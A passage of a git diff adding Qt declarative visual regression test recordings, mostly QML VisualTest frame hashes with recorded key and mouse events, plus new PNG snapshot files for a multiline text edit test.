+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1536
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1552
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1568
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1584
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1600
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1616
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1632
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1648
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1664
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1680
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1696
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1712
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1728
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1744
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1760
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1776
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1792
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1808
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1824
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Frame {
+ msec: 1840
+ hash: "a3b98f215b2329e29d17b61eba0f9e45"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1856
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1872
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1888
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1904
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1920
+ image: "qt-669.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1952
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1968
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 1984
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2000
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 2016
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 2032
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 2048
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Frame {
+ msec: 2064
+ hash: "d85314199885fdf9cc8e666c3fb723fb"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2096
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2112
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2128
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2144
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2176
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2192
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2208
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Frame {
+ msec: 2224
+ hash: "1313880b796ae7134f50fa8dafa4a974"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 2256
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2272
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 2288
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 2304
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 2320
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Frame {
+ msec: 2336
+ hash: "c899e9d181860f682ba7275fa36f82a1"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2368
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2384
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2416
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2432
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2448
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2464
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2480
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2496
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2512
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2528
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2544
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2560
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2576
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Frame {
+ msec: 2592
+ hash: "2caf044acf7aaf0af6a03e7b8180fa16"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2624
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2640
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2656
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2672
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2688
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2704
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2720
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2736
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Frame {
+ msec: 2752
+ hash: "c87aaf72137c2b9e8c876879e7215072"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 2784
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 2800
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 2832
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 2848
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Frame {
+ msec: 2864
+ hash: "3c455f51fea0926576077d55d6fbfbb2"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ image: "qt-669.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 2912
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 2928
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 2960
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 2976
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 2992
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Frame {
+ msec: 3008
+ hash: "394360c0bff5ee3ad206d2911838d64e"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3024
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3040
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3056
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3072
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3088
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3120
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3136
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3152
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3168
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3184
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3200
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3216
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3232
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3248
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3264
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3280
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3296
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3312
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3328
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3344
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3360
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3376
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3392
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3408
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3424
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3440
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3456
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3472
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3488
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3504
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3520
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3536
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3552
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3568
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3584
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3600
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3616
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3632
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3648
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3664
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3680
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Frame {
+ msec: 3696
+ hash: "10573e4c9dab5bd6e46ec79949c098e5"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3712
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3728
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3744
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3760
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3776
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3792
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3808
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3824
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3840
+ image: "qt-669.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3872
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3888
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3904
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3920
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3936
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3952
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3968
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 3984
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4000
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4016
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4032
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4048
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4064
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4080
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4096
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4112
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4128
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4144
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4160
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4176
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4192
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4208
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4224
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4240
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4256
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4272
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4288
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+ Frame {
+ msec: 4304
+ hash: "4e0ce00bde70a96774a6477ef2305b7f"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.0.png
new file mode 100644
index 00000000..e69860eb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.1.png
new file mode 100644
index 00000000..1db3c262
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.10.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.10.png
new file mode 100644
index 00000000..9c72d52a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.11.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.11.png
new file mode 100644
index 00000000..9c72d52a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.2.png
new file mode 100644
index 00000000..fbef8052
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.3.png
new file mode 100644
index 00000000..dc56c7e1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.4.png
new file mode 100644
index 00000000..04ea4964
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.5.png
new file mode 100644
index 00000000..98bf7dee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.6.png
new file mode 100644
index 00000000..d95b8952
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.7.png
new file mode 100644
index 00000000..99543443
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.8.png
new file mode 100644
index 00000000..d49c2ff1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.9.png
new file mode 100644
index 00000000..9c72d52a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.qml
new file mode 100644
index 00000000..94891e5d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/usingMultilineEdit.qml
@@ -0,0 +1,4687 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 32
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 48
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 64
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 80
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 96
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 112
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 128
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 144
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 160
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 176
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 192
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 208
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 224
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 240
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 256
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 272
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 288
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 304
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 320
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 352
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 368
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 384
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 400
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 416
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 432
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 448
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 464
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 480
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 496
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 512
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 528
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 544
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 560
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 576
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 592
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 608
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 624
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Frame {
+ msec: 640
+ hash: "a4edfba57a47b45f96fe1fa7a37c1720"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 672
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 704
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 720
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 736
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 752
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 768
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 784
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 800
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 816
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 832
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 848
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
